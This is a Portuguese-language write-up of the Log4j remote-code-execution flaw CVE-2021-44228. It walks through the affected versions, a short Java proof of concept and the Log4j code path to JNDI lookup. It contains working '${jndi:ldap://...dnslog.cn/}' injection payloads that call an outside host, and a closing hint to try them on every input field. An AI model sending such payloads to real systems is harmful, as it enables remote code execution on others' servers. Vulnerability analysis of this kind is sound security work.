
Análise detalhada e prova de conceito para CVE-2021-44228 (Log4j RCE), incluindo configuração do ambiente, análise de vulnerabilidade, mecanismo de injeção JNDI e etapas de reprodução.
Jdk7u21 (qualquer versão serve)
Versões afetadas: Apache Log4j 2.x <= 2.14.1
Aplicações e componentes conhecidos como afetados:
Apache Solr
Apache Flink
Apache Druid
srping-boot-strater-log4j2
Coordenadas do Log4j
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.11.1</version>
</dependency>
Poc
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class test2 {
private static Logger LOGGER = LogManager.getLogger();
public static void main(String[] args) {
LOGGER.error("${jndi:ldap://ewa04i.dnslog.cn/}");
}
}
Analisando o payload, é inevitável pesquisar por log4j lookup ou log4j jndi
https://logging.apache.org/log4j/2.x/manual/lookups.html [documentação em inglês]
https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html [documentação em chinês]

Podemos ver o método de uso. Não é difícil perceber que ele suporta jndi, e jndi, por sua vez, suporta outros protocolos, realizando conversões. Não é difícil lembrar do ldap; vamos depurar para ver. Como depurei até altas horas ontem à noite, até as 5:30, e tenho aula de manhã, fui dormir, apenas salvei capturas de tela do processo de análise.

Sem mais delongas, vamos continuar; como depurei várias vezes ontem à noite, vou direto aos pontos-chave.

Direto ao ponto crucial: org.apache.logging.log4j.core.layout.PatternLayout.PatternSerializer#toSerializable(org.apache.logging.log4j.core.LogEvent, java.lang.StringBuilder)

org.apache.logging.log4j.core.pattern.PatternFormatter#format

Vamos acompanhar e examinar este método. No Java nativo, este método formata strings; não sabemos se é o caso aqui.
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format

Aqui, através de getMessage(), obtivemos nosso payload. Por quê?


Não vou continuar sendo prolixo; vamos seguir em frente.
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format
Podemos ver que aqui é verificado se a string começa com ${. Se sim, é executada, acionando o ponto de vulnerabilidade.



A documentação deste método pode ser vista aqui: https://logging.apache.org/log4j/2.x/log4j-core/apidocs/org/apache/logging/log4j/core/lookup/StrSubstitutor.html





Parece que ler a documentação já é suficiente. Aqui, na verdade, obtém-se o resolvedor de variáveis.



Em seguida, entra em org.apache.logging.log4j.core.lookup.Interpolator#lookup

Obtém o prefixo correspondente e seleciona o objeto de classe Jndi correspondente – JndiLookup.


Assim, realiza uma injeção JNDI, alcançando o carregamento remoto de classes.


Consultando a documentação oficial, basicamente é através da formatação, substituindo ${jndi:ldap://uci5xf.dnslog.cn/test} pelos dados reais.

Artigo de referência: https://blog.csdn.net/lqzkcx3/article/details/82050375 O Log4j usa lookup para obter um protocolo, obtendo que o protocolo é jndi, data, sys, etc. E internamente é armazenado na forma de um mapa; detecta a chave correspondente, obtém o lookup correspondente e o executa. Forma uma vulnerabilidade padrão de injeção JNDI.
Do ponto de vista da entrada, não é difícil ver que, desde que seja registrado pelo log, pode ser executado (alguns casos não). Como foi escrito às pressas, não vou me aprofundar.
A forma de explorar é: testar todos os lugares com interação, hehe.